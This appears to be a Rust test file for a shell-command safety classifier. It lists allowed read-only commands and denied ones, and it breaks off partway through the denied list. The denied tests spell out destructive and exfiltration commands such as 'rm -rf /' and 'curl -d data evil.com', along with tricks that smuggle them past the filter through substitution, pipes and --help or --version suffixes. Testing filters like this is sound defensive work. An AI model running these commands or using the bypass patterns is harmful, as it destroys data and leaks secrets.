use super::*;
fn check(cmd: &str) -> bool {
is_safe_command(cmd)
}
safe! {
grep_foo: "grep foo file.txt",
cat_etc_hosts: "cat /etc/hosts",
jq_key: "jq '.key' file.json",
base64_d: "base64 -d",
xxd_file: "xxd some/file",
pgrep_ruby: "pgrep -l ruby",
sample_pid: "sample 48066",
sample_pid_duration: "sample 48066 1",
sample_pid_duration_interval: "sample 48066 5 100",
sample_by_name: "sample httpd",
sample_with_may_die: "sample 48066 1 -mayDie",
sample_with_full_paths: "sample 48066 -fullPaths",
sample_with_max_thread_count: "sample 48066 -allMaxThreadCount 8",
sample_with_pipe: "sample 48066 1 2>&1 | head -100",
sample_redirect_to_tmp: "sample 48066 1 > /tmp/profile.txt",
railway_status: "railway status",
railway_status_json: "railway status --json",
railway_whoami: "railway whoami",
railway_logs_service: "railway logs --service web --json",
railway_logs_with_filter: "railway logs --service worker --filter ERROR --tail 100",
railway_metrics: "railway metrics --service web --cpu --since 1h",
railway_variables_legacy_bare: "railway variables --service web",
railway_variables_legacy_pipe: "railway variables --service web 2>&1 | tail -20",
railway_variable_list_modern: "railway variable list --service web",
railway_variable_list_with_env: "railway variable list --service web --environment production",
railway_deployment_list: "railway deployment list --service web --limit 5",
railway_environment_list: "railway environment list",
railway_service_list: "railway service list",
railway_volume_list: "railway volume list",
railway_login: "railway login",
railway_login_browserless: "railway login --browserless",
railway_link: "railway link --project myproj --environment staging",
railway_unlink: "railway unlink --yes",
render_whoami: "render whoami",
render_workspaces: "render workspaces",
render_workspace_current: "render workspace current",
render_services: "render services",
render_services_instances: "render services instances",
render_logs_tail: "render logs --resources srv-xxx --tail",
render_deploys_list: "render deploys list",
render_jobs_list: "render jobs list",
render_blueprints_validate: "render blueprints validate render.yaml",
render_login: "render login",
northflank_get_service: "northflank get service --project myproj --service web",
northflank_list_projects: "northflank list projects",
northflank_logs: "northflank logs --project myproj --service web --follow",
northflank_metrics: "northflank metrics --project myproj --service web",
northflank_context_ls: "northflank context ls",
northflank_login: "northflank login --token abc",
cx_stacks_list: "cx stacks list",
cx_services_list: "cx services list -s mystack",
cx_processes_list: "cx processes list -s mystack",
cx_env_vars_list: "cx env-vars list -s mystack",
cx_tail: "cx tail -s mystack",
cx_users_list: "cx users list",
cx_config_list: "cx config list",
cx_config_use: "cx config use",
hey_boxes: "hey boxes",
hey_box_imbox: "hey box imbox",
hey_threads: "hey threads thread-id-123",
hey_drafts: "hey drafts",
hey_calendars: "hey calendars",
hey_recordings_with_dates: "hey recordings cal-123 --starts-on 2026-01-01 --ends-on 2026-01-31",
hey_todo_list: "hey todo list",
hey_timetrack_current: "hey timetrack current",
hey_journal_list: "hey journal list",
hey_auth_status: "hey auth status",
getconf_page_size: "getconf PAGE_SIZE",
ls_la: "ls -la",
wc_l: "wc -l file.txt",
ps_aux: "ps aux",
ps_ef: "ps -ef",
top_l: "top -l 1 -n 10",
uuidgen: "uuidgen",
mdfind_app: "mdfind 'kMDItemKind == Application'",
identify_png: "identify image.png",
identify_verbose: "identify -verbose photo.jpg",
diff_files: "diff file1.txt file2.txt",
comm_23: "comm -23 sorted1.txt sorted2.txt",
paste_files: "paste file1 file2",
tac_file: "tac file.txt",
rev_file: "rev file.txt",
nl_file: "nl file.txt",
expand_file: "expand file.txt",
unexpand_file: "unexpand file.txt",
fold_w80: "fold -w 80 file.txt",
fmt_w72: "fmt -w 72 file.txt",
column_t: "column -t file.txt",
printf_hello: "printf '%s\\n' hello",
seq_1_10: "seq 1 10",
expr_add: "expr 1 + 2",
test_f: "test -f file.txt",
true_cmd: "true",
false_cmd: "false",
bc_l: "bc -l",
factor_42: "factor 42",
iconv_utf8: "iconv -f UTF-8 -t ASCII file.txt",
readlink_f: "readlink -f symlink",
hostname: "hostname",
uname_a: "uname -a",
arch: "arch",
nproc: "nproc",
uptime: "uptime",
id: "id",
groups: "groups",
tty: "tty",
locale: "locale",
cal: "cal",
sleep_1: "sleep 1",
who: "who",
w: "w",
last_5: "last -5",
lastlog: "lastlog",
md5sum: "md5sum file.txt",
md5: "md5 file.txt",
sha256sum: "sha256sum file.txt",
shasum: "shasum file.txt",
sha1sum: "sha1sum file.txt",
sha512sum: "sha512sum file.txt",
cksum: "cksum file.txt",
strings_bin: "strings /usr/bin/ls",
hexdump_c: "hexdump -C file.bin",
od_x: "od -x file.bin",
size_aout: "size a.out",
sw_vers: "sw_vers",
mdls: "mdls file.txt",
otool_l: "otool -L /usr/bin/ls",
nm_aout: "nm a.out",
system_profiler: "system_profiler SPHardwareDataType",
ioreg_l: "ioreg -l -w 0",
vm_stat: "vm_stat",
dig: "dig example.com",
nslookup: "nslookup example.com",
host: "host example.com",
whois: "whois example.com",
shellcheck: "shellcheck script.sh",
cloc: "cloc src/",
tokei: "tokei",
safe_chains: "safe-chains \"ls -la\"",
awk_safe_print: "awk '{print $1}' file.txt",
version_go: "go --version",
version_perl: "perl --version",
version_swift: "swift --version",
version_git_c: "git -C /repo --version",
version_docker_compose: "docker compose --version",
version_cargo: "cargo --version",
version_cargo_redirect: "cargo --version 2>&1",
help_cargo: "cargo --help",
help_cargo_install: "cargo install --help",
dry_run_cargo_publish: "cargo publish --dry-run",
dry_run_cargo_publish_redirect: "cargo publish --dry-run 2>&1",
dry_run_cargo_publish_allow_dirty: "cargo publish --dry-run --allow-dirty",
dry_run_cargo_publish_no_verify: "cargo publish --dry-run --no-verify --allow-dirty 2>&1 | tail -10",
cargo_package_list: "cargo package --list",
cargo_package_list_allow_dirty: "cargo package --list --allow-dirty 2>&1 | head -40",
cargo_package_l_short: "cargo package -l --allow-dirty",
cargo_clean: "cargo clean",
cargo_clean_dry_run: "cargo clean --dry-run",
cargo_clean_workspace: "cargo clean --workspace --release",
cargo_fetch: "cargo fetch",
cargo_fetch_locked: "cargo fetch --locked",
cargo_vendor: "cargo vendor",
cargo_vendor_path: "cargo vendor vendor-dir",
cargo_vendor_versioned: "cargo vendor --versioned-dirs --no-delete",
cargo_config_get: "cargo config get",
cargo_config_get_key: "cargo config get build.target",
cargo_config_get_json: "cargo config get --format json build",
cargo_report_future: "cargo report future-incompatibilities",
cargo_report_future_id: "cargo report future-incompatibilities --id 1",
cargo_udeps: "cargo udeps",
cargo_udeps_all_features: "cargo udeps --all-features --workspace",
cargo_msrv_find: "cargo msrv find",
cargo_msrv_verify: "cargo msrv verify --rust-version 1.70",
cargo_msrv_list: "cargo msrv list",
cargo_msrv_show: "cargo msrv show",
cargo_public_api: "cargo public-api",
cargo_public_api_simplified: "cargo public-api -sss --all-features",
cargo_about_generate: "cargo about generate about.hbs",
cargo_about_generate_format_json: "cargo about generate --format json",
cargo_vet_check: "cargo vet check",
cargo_vet_suggest: "cargo vet suggest",
cargo_vet_dump_graph: "cargo vet dump-graph --depth full",
cargo_vet_explain_audit: "cargo vet explain-audit serde",
cargo_geiger: "cargo geiger",
cargo_geiger_all: "cargo geiger --all-dependencies --output-format Json",
cargo_criterion: "cargo criterion --workspace",
cargo_cyclonedx: "cargo cyclonedx --format json --all",
cucumber_feature: "cucumber features/login.feature",
cucumber_format: "cucumber --format progress",
fd_redirect_ls: "ls 2>&1",
fd_redirect_clippy: "cargo clippy 2>&1",
fd_redirect_git_log: "git log 2>&1",
fd_redirect_cd_clippy: "cd /tmp && cargo clippy -- -D warnings 2>&1",
dev_null_echo: "echo hello > /dev/null",
dev_null_stderr: "echo hello 2> /dev/null",
dev_null_append: "echo hello >> /dev/null",
dev_null_grep: "grep pattern file > /dev/null",
dev_null_git_log: "git log > /dev/null 2>&1",
dev_null_awk: "awk '{print $1}' file.txt > /dev/null",
dev_null_sed: "sed 's/foo/bar/' > /dev/null",
dev_null_sort: "sort file.txt > /dev/null",
env_prefix_single_quote: "FOO='bar baz' ls -la",
env_prefix_double_quote: "FOO=\"bar baz\" ls -la",
stdin_dev_null: "git log < /dev/null",
subst_echo_ls: "echo $(ls)",
subst_ls_pwd: "ls `pwd`",
subst_cat_echo: "cat $(echo /etc/shadow)",
subst_echo_git: "echo $(git status)",
subst_nested: "echo $(echo $(ls))",
subst_quoted: "echo \"$(ls)\"",
assign_subst_ls: "out=$(ls)",
assign_subst_git: "out=$(git status)",
assign_subst_jj_diff: "out=$(jj diff -r abc --summary)",
assign_subst_pipe: "result=$(jj diff -r abc --git | grep -c pattern || echo 0)",
assign_subst_backtick: "out=`ls`",
assign_subst_multiple: "a=$(ls) b=$(pwd)",
subshell_echo: "(echo hello)",
subshell_ls: "(ls)",
subshell_chain: "(ls && echo done)",
subshell_semicolon: "(echo hello; echo world)",
subshell_pipe: "(ls | grep foo)",
subshell_in_pipeline: "(echo hello) | grep hello",
subshell_then_cmd: "(ls) && echo done",
subshell_nested: "((echo hello))",
subshell_for: "(for x in 1 2; do echo $x; done)",
quoted_redirect: "echo 'greater > than' test",
quoted_subst: "echo '$(safe)' arg",
echo_hello: "echo hello",
cat_file: "cat file.txt",
grep_pattern: "grep pattern file",
env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
env_rails_rspec: "RAILS_ENV=test bundle exec rspec",
pipe_grep_head: "grep foo file.txt | head -5",
pipe_cat_sort_uniq: "cat file | sort | uniq",
pipe_find_wc: "find . -name '*.rb' | wc -l",
chain_ls_echo: "ls && echo done",
semicolon_ls_echo: "ls; echo done",
pipe_git_log_head: "git log | head -5",
chain_git_log_status: "git log && git status",
bg_ls_echo: "ls & echo done",
bg_gh_wait: "gh pr view 123 --repo o/r --json title 2>&1 & gh pr view 456 --repo o/r --json title 2>&1 & wait",
chain_ls_echo_and: "ls && echo done",
here_string_grep: "grep -c , <<< 'hello,world,test'",
newline_echo_echo: "echo foo\necho bar",
newline_ls_cat: "ls\ncat file.txt",
head_numeric_dash: "head -20 file.txt",
tail_numeric_dash: "tail -100 log.txt",
head_numeric_with_flags: "head -q -50 file.txt",
pipeline_git_log_head: "git log --oneline -20 | head -5",
pipeline_git_show_grep: "git show HEAD:file.rb | grep pattern",
pipeline_gh_api: "gh api repos/o/r/contents/f --jq .content | base64 -d | head -50",
pipeline_timeout_rspec: "timeout 120 bundle exec rspec && git status",
pipeline_time_rspec: "time bundle exec rspec | tail -5",
pipeline_git_c_log: "git -C /some/repo log --oneline | head -3",
pipeline_xxd_head: "xxd file | head -20",
pipeline_find_wc: "find . -name '*.py' | wc -l",
pipeline_find_sort_head: "find . -name '*.py' | sort | head -10",
pipeline_find_xargs_grep: "find . -name '*.py' | xargs grep pattern",
pipeline_pip_grep: "pip list | grep requests",
pipeline_npm_grep: "npm list | grep react",
pipeline_ps_grep: "ps aux | grep python",
help_cargo_build: "cargo build --help",
for_echo: "for x in 1 2 3; do echo $x; done",
for_pipe: "for f in *.txt; do cat $f | grep pattern; done",
for_empty_body: "for x in 1 2 3; do; done",
for_multiple: "for x in 1 2; do echo $x; done; for y in a b; do echo $y; done",
for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
for_then_cmd: "for x in 1 2; do echo $x; done && echo finished",
for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
for_assign_subst: "for c in a b c; do out=$(jj diff -r $c --summary); if [ -n \"$out\" ]; then echo \"$c: $out\"; fi; done",
for_assign_pipe_subst: "for c in a b; do result=$(jj diff -r $c --git | grep -c pattern || echo 0); if [ \"$result\" -gt 0 ]; then desc=$(jj log --no-graph -r $c -T template); echo \"$c: $desc\"; fi; done",
while_test: "while test -f /tmp/foo; do sleep 1; done",
while_negation: "while ! test -f /tmp/done; do sleep 1; done",
while_ls: "while ! ls /tmp/foo 2>/dev/null; do sleep 10; done",
until_test: "until test -f /tmp/ready; do sleep 1; done",
if_then_fi: "if test -f foo; then echo exists; fi",
if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
nested_for_in_if: "if true; then for x in 1 2; do echo $x; done; fi",
bare_negation: "! echo hello",
bare_negation_test: "! test -f foo",
keyword_as_data: "echo for; echo done; echo if; echo fi",
command_help: "command --help",
command_version: "command --version",
command_v: "command -v git",
command_v_upper: "command -V git",
command_v_path: "command -v /usr/bin/git",
networksetup_listallhardwareports: "networksetup -listallhardwareports",
networksetup_listallnetworkservices: "networksetup -listallnetworkservices",
networksetup_getinfo: "networksetup -getinfo Wi-Fi",
networksetup_getdnsservers: "networksetup -getdnsservers Wi-Fi",
networksetup_version: "networksetup -version",
networksetup_help: "networksetup -help",
mlr_csv_head: "mlr --csv head -n 10 data.csv",
mlr_json_filter: "mlr --json filter '$age > 30' data.json",
mlr_tsv_cut: "mlr --tsv cut -f name,age data.tsv",
sysctl_read: "sysctl kern.maxproc",
sysctl_all: "sysctl -a",
sysctl_names: "sysctl -N -a",
sysctl_read_ostype: "sysctl kern.ostype",
version_node: "node --version",
version_python: "python --version",
version_python3: "python3 --version",
version_rustc: "rustc --version",
version_java: "java --version",
version_php: "php --version",
version_gcc: "gcc --version",
help_node: "node --help",
node_short_v: "node -v",
node_short_h: "node -h",
python3_version_cap: "python3 -V",
rustc_short_h: "rustc -h",
java_version_legacy: "java -version",
gcc_short_v: "gcc -v",
gpp_version: "g++ --version",
cc_version: "cc --version",
cpp_version: "c++ --version",
clang_version: "clang --version",
clangpp_version: "clang++ --version",
elixir_version: "elixir --version",
erl_version: "erl --version",
mix_version: "mix --version",
zig_version: "zig --version",
lua_version: "lua -v",
tsc_version: "tsc --version",
gron_bare: "gron",
duf_bare: "duf",
difft_help: "difft --help",
duf_json: "duf --json",
xsv_help: "xsv --help",
qsv_help: "qsv --help",
jc_about: "jc --about",
git_lfs_version: "git-lfs --version",
git_lfs_env: "git-lfs env",
git_lfs_ls_files: "git-lfs ls-files --long",
git_lfs_status: "git-lfs status",
git_lfs_locks: "git-lfs locks --json",
jj_workspace_list: "jj workspace list",
jj_workspace_root: "jj workspace root",
jj_workspace_update_stale: "jj workspace update-stale",
jj_log: "jj log --oneline",
jj_diff: "jj diff",
jj_show: "jj show @-",
jj_status: "jj status",
jj_git_fetch: "jj git fetch",
jj_git_import: "jj git import",
jj_bookmark_list: "jj bookmark list",
hash_bare: "hash",
hash_r: "hash -r",
hash_l: "hash -l",
exit_bare: "exit",
exit_code: "exit 0",
exit_code_1: "exit 1",
declare_bare: "declare",
declare_p: "declare -p",
declare_p_var: "declare -p PATH",
declare_f: "declare -f",
declare_ix: "declare -ix FOO=42",
typeset_bare: "typeset",
comment_only: "# just a comment",
comment_before_cmd: "# comment\necho hello",
comment_inline: "echo hello # inline",
comment_between_cmds: "pgrep -af 'pattern' || echo 'no match'\n# Sanity check\npgrep -af 'other' || echo 'no match'",
colon_bare: ":",
colon_with_args: ": foo bar",
colon_in_if_then: "if true; then :; fi",
colon_in_if_else: "if false; then echo yes; else :; fi",
colon_in_for_loop: "for x in 1 2; do :; done",
colon_in_while: "while false; do :; done",
colon_in_chain: "echo hello && :",
colon_in_chain_reverse: ": && echo hello",
colon_with_redirect: ": > /dev/null",
basecamp_help: "basecamp --help",
basecamp_projects_list: "basecamp projects list",
basecamp_todos_list: "basecamp todos list --in 12345",
basecamp_search: "basecamp search query",
basecamp_doctor: "basecamp doctor",
basecamp_auth_token: "basecamp auth token",
basecamp_files_list: "basecamp files list --in 12345",
basecamp_cards_list: "basecamp cards list",
basecamp_commands: "basecamp commands --json",
php_version: "php -v",
php_modules: "php -m",
php_modules_long: "php --modules",
php_info: "php -i",
php_info_long: "php --info",
php_ini: "php --ini",
php_artisan_about: "php artisan about",
php_artisan_about_json: "php artisan about --json",
php_artisan_route_list: "php artisan route:list",
php_artisan_route_list_json: "php artisan route:list --json --except-vendor",
php_artisan_config_show: "php artisan config:show database",
php_artisan_model_show: "php artisan model:show User",
php_artisan_migrate_status: "php artisan migrate:status",
php_artisan_event_list: "php artisan event:list",
php_artisan_schedule_list: "php artisan schedule:list --json",
php_artisan_db_show: "php artisan db:show --json",
php_artisan_db_table: "php artisan db:table users",
php_artisan_test: "php artisan test --filter UserTest",
php_artisan_test_parallel: "php artisan test --parallel --processes=4",
php_artisan_list: "php artisan list",
php_artisan_help: "php artisan help route:list",
php_artisan_env: "php artisan env",
php_artisan_queue_failed: "php artisan queue:failed",
php_artisan_view_clear: "php artisan view:clear",
rails_about: "rails about",
rails_routes: "rails routes",
rails_routes_grep: "rails routes -g users",
rails_db_version: "rails db:version",
rails_db_migrate_status: "rails db:migrate:status",
rails_db_create: "rails db:create",
rails_db_migrate: "rails db:migrate",
rails_db_seed: "rails db:seed",
rails_db_prepare: "rails db:prepare",
rails_test: "rails test",
rails_test_file: "rails test test/models/user_test.rb",
rails_generate_model: "rails generate model User name:string",
rails_g_migration: "rails g migration AddTokenToUsers",
rails_tmp_clear: "rails tmp:clear",
rails_log_clear: "rails log:clear",
rails_assets_precompile: "rails assets:precompile",
rails_cache_clear: "rails cache:clear",
rails_help: "rails --help",
rails_via_bin: "bin/rails db:create",
rails_via_bin_migrate: "./bin/rails db:migrate",
rails_via_mise_exec: "mise exec -- bin/rails db:create",
rails_via_bundle: "bundle exec rails db:create",
rails_until_loop: "until docker compose ps --format json | grep -q healthy; do sleep 1; done; mise exec -- bin/rails db:create",
brace_group_simple: "{ echo a; echo b; }",
brace_group_with_redirect: "{ echo a; echo b; } > /tmp/out.txt",
brace_group_with_append: "{ echo a; } >> /tmp/log.txt",
brace_group_with_stderr: "{ echo a; } 2>&1",
brace_group_user_probe: "{ sed -n '1,2p' /tmp/h2.txt; sed -n '4p' /tmp/h2.txt; } > /tmp/trip4-noblank.txt",
brace_group_in_pipeline: "{ echo a; echo b; } | grep a",
brace_group_after_pipeline: "echo a | { read x; echo $x; }",
brace_group_nested: "{ { echo inner; }; echo outer; }",
brace_group_with_subshell: "{ (cd /tmp && ls); echo done; }",
brace_group_in_chain: "{ echo a; } && { echo b; }",
brace_group_with_for: "for f in *.txt; do { echo $f; cat $f; } > combined.txt; done",
brace_group_help_var: "{ echo $HOME; }",
brace_group_redir_to_devnull: "{ echo noisy; echo more; } > /dev/null",
subshell_with_redirect: "(echo hello) > /tmp/out.txt",
subshell_in_pipeline_with_head: "(echo a; echo b) | head -1",
php_artisan_config_clear: "php artisan config:clear",
php_artisan_route_clear: "php artisan route:clear",
php_artisan_event_clear: "php artisan event:clear",
php_please_version: "php please --version",
php_please_help: "php please --help",
php_please_list: "php please list",
php_please_stache_clear: "php please stache:clear",
php_please_glide_clear: "php please glide:clear",
php_please_static_clear: "php please static:clear",
please_bare_stache_clear: "please stache:clear",
please_bare_help: "please --help",
please_stache_warm: "php please stache:warm",
please_stache_refresh: "php please stache:refresh",
please_static_warm: "php please static:warm",
please_static_warm_uncached: "php please static:warm --uncached --max-requests 100",
please_static_warm_queue: "please static:warm --queue --max-depth 3",
please_stache_doctor: "php please stache:doctor",
please_static_recache_token: "php please static:recache-token --raw",
please_search_update_all: "php please search:update --all",
please_search_update_specific: "php please search:update default",
please_search_update_bare: "php please search:update",
please_search_insert: "php please search:insert default",
please_search_insert_bare: "php please search:insert",
please_search_update_help: "php please search:update --help",
please_search_update_pipeline: "php please search:update --all 2>&1 | tail -3",
please_support_details: "php please support:details --json",
please_support_details_only: "php please support:details --only environment",
please_flat_camp: "php please flat:camp",
please_assets_meta: "php please assets:meta",
please_assets_meta_container: "php please assets:meta photos",
please_assets_meta_clean: "php please assets:meta-clean --dry-run",
please_assets_clear_cache: "php please assets:clear-cache",
please_assets_generate_presets: "php please assets:generate-presets --queue",
please_assets_generate_presets_excluded: "php please assets:generate-presets --excluded-containers photos,videos",
please_addons_discover: "php please addons:discover",
please_auth_migration: "php please auth:migration",
please_auth_migration_path: "php please auth:migration --path database/migrations",
please_nocache_migration: "php please nocache:migration",
please_setup_cp_vite: "php please setup-cp-vite --only-necessary",
please_support_zip_blueprint: "php please support:zip-blueprint user",
please_starter_kit_init: "php please starter-kit:init --name 'My Kit'",
please_starter_kit_init_pkg: "php please starter-kit:init my/kit --updatable --force",
please_starter_kit_export: "php please starter-kit:export ./exports/my-kit",
please_starter_kit_export_clear: "php please starter-kit:export ./exports --clear",
please_make_action: "php please make:action MyAction",
please_make_addon: "php please make:addon vendor/my-addon",
please_make_action_addon: "php please make:action MyAction vendor/my-addon",
please_make_action_force: "php please make:action MyAction --force",
please_make_fieldtype: "php please make:fieldtype Color",
please_make_filter: "php please make:filter MyFilter",
please_make_modifier: "php please make:modifier MyModifier",
please_make_scope: "php please make:scope MyScope",
please_make_tag: "php please make:tag MyTag",
please_make_widget: "php please make:widget MyWidget",
please_make_dictionary: "php please make:dictionary MyDict",
valet_version: "valet --version",
valet_help: "valet --help",
valet_help_sub: "valet help status",
valet_status: "valet status",
valet_links: "valet links",
valet_paths: "valet paths",
valet_which: "valet which",
valet_diagnose: "valet diagnose",
valet_diagnose_ignore: "valet diagnose --ignore-output",
valet_log: "valet log nginx",
valet_php_versions: "valet php-versions",
valet_on_latest_version: "valet on-latest-version",
valet_list: "valet list",
valet_start: "valet start",
valet_stop: "valet stop",
valet_restart: "valet restart",
valet_restart_service: "valet restart nginx",
artisan_bare: "artisan about",
artisan_route_list: "artisan route:list --json",
composer_install: "composer install --no-interaction --no-progress",
composer_install_no_scripts: "composer install --no-scripts --no-dev",
composer_validate: "composer validate --strict",
composer_dump_autoload: "composer dump-autoload -o",
composer_config_list: "composer config --list",
composer_depends: "composer depends monolog/monolog",
composer_search: "composer search phpunit",
composer_show: "composer show --latest",
pest_bare: "pest",
pest_filter: "pest --filter UserTest --bail",
vendor_bin_pest: "./vendor/bin/pest --no-progress",
phpstan_analyse: "phpstan analyse",
phpstan_analyse_flags: "phpstan analyse --no-progress --memory-limit=512M",
vendor_bin_phpstan: "./vendor/bin/phpstan analyse --no-progress",
phpunit_bare: "phpunit",
phpunit_filter: "phpunit --filter UserTest --colors=auto",
vendor_bin_phpunit: "./vendor/bin/phpunit --testsuite Unit",
}
denied! {
heredoc_pipe_to_bash_unsafe: "cat <<'EOF' | bash\nrm -rf /\nEOF",
heredoc_pipe_to_bash_safe_inner: "cat <<EOF | bash\nls\nEOF",
heredoc_strip_tabs_pipe_to_bash: "cat <<-EOF | bash\n\trm -rf /\n\tEOF",
heredoc_to_sh: "cat <<EOF | sh\nls\nEOF",
heredoc_to_zsh: "cat <<EOF | zsh\nls\nEOF",
help_npm_install_denied: "npm install --help",
help_brew_install_denied: "brew install --help",
help_cargo_login_redirect_denied: "cargo login --help 2>&1",
version_unhandled_rm: "rm --version",
version_unhandled_dd: "dd --version",
version_unhandled_chmod: "chmod --version",
help_unhandled_rm: "rm --help",
help_pip_install_trailing: "pip install evil --help",
help_curl_data_trailing: "curl -d data --help",
version_pip_install_trailing: "pip install evil --version",
version_cargo_build_trailing: "cargo build --version",
php_artisan_tinker: "php artisan tinker",
php_artisan_migrate: "php artisan migrate",
php_artisan_migrate_fresh: "php artisan migrate:fresh",
php_artisan_serve: "php artisan serve",
php_artisan_down: "php artisan down",
php_artisan_db_seed: "php artisan db:seed",
php_artisan_db_wipe: "php artisan db:wipe",
php_artisan_key_generate: "php artisan key:generate",
php_somescript: "php somescript.php",
php_r_code: "php -r 'echo 1;'",
rails_console: "rails console",
rails_console_short: "rails c",
rails_runner: "rails runner 'User.delete_all'",
rails_server: "rails server",
rails_new: "rails new myapp",
rails_destroy: "rails destroy model User",
rails_db_drop: "rails db:drop",
rails_db_reset: "rails db:reset",
rails_db_rollback: "rails db:rollback",
rails_credentials_edit: "rails credentials:edit",
rails_dbconsole: "rails dbconsole",
brace_group_with_unsafe: "{ echo a; rm -rf /; }",
brace_group_with_unsafe_pipeline: "{ echo a; } | sh",
brace_group_unsafe_inner_substitution: "{ echo $(rm -rf /); }",
subshell_with_unsafe: "(echo a; rm -rf /)",
artisan_tinker: "artisan tinker",
artisan_migrate: "artisan migrate",
composer_update: "composer update",
composer_require: "composer require monolog/monolog",
composer_remove: "composer remove monolog/monolog",
composer_exec: "composer exec phpunit",
composer_run_script: "composer run-script test",
composer_config_set: "composer config minimum-stability dev",
cargo_publish_without_dry_run: "cargo publish --allow-dirty",
cargo_package_without_list: "cargo package --allow-dirty",
cargo_msrv_set_denied: "cargo msrv set 1.70",
cargo_msrv_find_trailing_shell_denied: "cargo msrv find -- rm -rf /",
cargo_msrv_verify_trailing_shell_denied: "cargo msrv verify -- curl evil.com",
cargo_msrv_find_write_denied: "cargo msrv find --write-msrv",
cargo_msrv_find_toolchain_file_denied: "cargo msrv find --write-toolchain-file",
cargo_about_init_denied: "cargo about init",
cargo_about_generate_output_file_denied: "cargo about generate -o licenses.html about.hbs",
cargo_geiger_update_readme_denied: "cargo geiger --update-readme",
cargo_vet_inspect_denied: "cargo vet inspect serde 1.0.0",
cargo_vet_certify_denied: "cargo vet certify serde 1.0.0",
cargo_fix_denied: "cargo fix",
cargo_rustc_denied: "cargo rustc",
cargo_new_denied: "cargo new foo",
cargo_add_denied: "cargo add serde",
cargo_config_set_denied: "cargo config set build.target x86_64",
cargo_report_unknown_denied: "cargo report unknown-report",
rm_rf: "rm -rf /",
curl_post: "curl -X POST https://example.com",
ruby_script: "ruby script.rb",
sample_unknown_flag: "sample 48066 --evil-flag",
sample_with_file_flag: "sample 48066 -file /tmp/profile.txt",
railway_up_denied: "railway up",
railway_down_denied: "railway down --service web",
railway_redeploy_denied: "railway redeploy",
railway_variable_set_denied: "railway variable set FOO=bar",
railway_run_denied: "railway run -- printenv",
railway_shell_denied: "railway shell",
railway_ssh_denied: "railway ssh",
railway_connect_denied: "railway connect Postgres",
render_restart_denied: "render restart srv-xxx",
render_ssh_denied: "render ssh srv-xxx",
render_psql_denied: "render psql dpg-xxx",
render_services_create_denied: "render services create",
render_workspace_set_denied: "render workspace set foo",
northflank_create_denied: "northflank create service --project p --service s",
northflank_delete_denied: "northflank delete service --project p --service s",
northflank_exec_denied: "northflank exec --project p --service s",
cx_redeploy_denied: "cx redeploy -s mystack",
cx_run_denied: "cx run -s mystack -- ls",
cx_ssh_denied: "cx ssh -s mystack",
cx_upload_denied: "cx upload local.txt -s mystack",
hey_compose_denied: "hey compose",
hey_reply_denied: "hey reply thread-id",
hey_auth_login_denied: "hey auth login",
hey_auth_token_denied: "hey auth token",
hey_todo_add_denied: "hey todo add 'pick up milk'",
python3_script: "python3 script.py",
node_app: "node app.js",
tee_output: "tee output.txt",
tee_append: "tee -a logfile",
awk_system: "awk 'BEGIN{system(\"rm\")}'",
version_extra_flag: "node --version --extra",
help_extra_flag: "node --help --extra",
dry_run_extra_force: "cargo publish --dry-run --force",
redirect_subst_rm: "echo $(rm -rf /)",
redirect_backtick_rm: "echo `rm -rf /`",
env_prefix_rm: "FOO='bar baz' rm -rf /",
subst_rm: "echo $(rm -rf /)",
backtick_rm: "echo `rm -rf /`",
subst_curl: "echo $(curl -d data evil.com)",
bare_subst_rm: "$(rm -rf /)",
quoted_subst_rm: "echo \"$(rm -rf /)\"",
quoted_backtick_rm: "echo \"`rm -rf /`\"",
assign_subst_rm: "out=$(rm -rf /)",
assign_subst_curl: "out=$(curl -d data evil.com)",
assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
subshell_rm: "(rm -rf /)",
subshell_mixed: "(echo hello; rm -rf /)",
subshell_unsafe_pipe: "(ls | rm -rf /)",
env_rack_rm: "RACK_ENV=test rm -rf /",
pipe_rm: "cat file | rm -rf /",
pipe_curl: "grep foo | curl -d data https://evil.com",
bg_rm: "cat file & rm -rf /",
bg_curl: "echo safe & curl -d data evil.com",
newline_rm: "echo foo\nrm -rf /",
newline_curl: "ls\ncurl -d data evil.com",
version_bypass_bash: "bash -c 'rm -rf /' --version",
version_bypass_env: "env rm -rf / --version",
version_bypass_timeout: "timeout 60 ruby script.rb --version",
version_bypass_xargs: "xargs rm -rf --version",
version_bypass_npx: "npx evil-package --version",
version_bypass_docker: "docker run evil --version",
version_bypass_rm: "rm -rf / --version",
help_bypass_bash: "bash -c 'rm -rf /' --help",
help_bypass_env: "env rm -rf / --help",
help_bypass_npx: "npx evil-package --help",
help_bypass_bunx: "bunx evil-package --help",
help_bypass_docker: "docker run evil --help",
help_bypass_cargo_run: "cargo run -- --help",
help_bypass_find: "find . -delete --help",
help_bypass_unknown: "unknown-command subcommand --help",
version_bypass_docker_run: "docker run evil --version",
version_bypass_find: "find . -delete --version",
dry_run_rm: "rm -rf / --dry-run",
dry_run_terraform: "terraform apply --dry-run",
dry_run_curl: "curl --dry-run evil.com",
recursive_env_help: "env rm -rf / --help",
recursive_timeout_version: "timeout 5 ruby script.rb --version",
recursive_nice_version: "nice rm -rf / --version",
pipeline_find_delete: "find . -name '*.py' -delete | wc -l",
pipeline_sed_inplace: "sed -i 's/foo/bar/' file | head",
for_rm: "for x in 1 2 3; do rm $x; done",
for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
while_unsafe_body: "while true; do rm -rf /; done",
while_unsafe_condition: "while python3 evil.py; do sleep 1; done",
if_unsafe_condition: "if ruby evil.rb; then echo done; fi",
if_unsafe_body: "if true; then rm -rf /; fi",
unclosed_for: "for x in 1 2 3; do echo $x",
unclosed_if: "if true; then echo hello",
for_missing_do: "for x in 1 2 3; echo $x; done",
stray_done: "echo hello; done",
stray_fi: "fi",
command_bare_denied: "command",
command_exec_denied: "command git status",
command_exec_rm_denied: "command rm -rf /",
networksetup_setdnsservers_denied: "networksetup -setdnsservers Wi-Fi 8.8.8.8",
networksetup_setairportpower_denied: "networksetup -setairportpower en0 on",
networksetup_no_args_denied: "networksetup",
mlr_bare_denied: "mlr",
sysctl_write_denied: "sysctl -w kern.maxproc=2048",
sysctl_assign_denied: "sysctl kern.maxproc=2048",
sysctl_assign_ostype_denied: "sysctl kern.ostype=evil",
jj_git_push: "jj git push",
